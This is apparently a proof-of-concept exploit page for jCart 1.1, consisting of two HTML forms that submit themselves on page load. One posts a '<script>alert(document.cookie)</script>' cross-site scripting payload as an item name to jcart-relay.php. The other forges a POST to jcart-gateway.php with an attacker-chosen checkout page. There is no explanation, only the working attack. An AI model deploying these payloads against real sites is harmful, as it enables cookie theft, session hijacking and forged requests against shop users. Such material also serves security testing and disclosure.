<html>
<form action="http://www.example.com/jcart-1.1/jcart/jcart-relay.php" method="POST">
<input name="my-item-id" value="3" type="hidden">
<input name="my-item-qty" value="1" type="hidden">
<input name="my-item-name" value="<script>alert(document.cookie)</script>" type="hidden">
<input name="my-item-price" value="33.25" type="hidden">
<input id="payload" name="my-add-button" value="add to cart" class="button" type="submit">
</form>
<script>
document.getElementById('payload').click()
</script>
</html>
<html>
<form action="http://www.example.com/jcart-1.1/jcart/jcart-gateway.php" method="POST">
<input name="jcart_checkout_page" value="http://www.example.com" type="hidden">
<input id="payload" name="my-add-button" value="add to cart" class="button" type="submit">
</form>
<script>
document.getElementById('payload').click()
</script>
</html>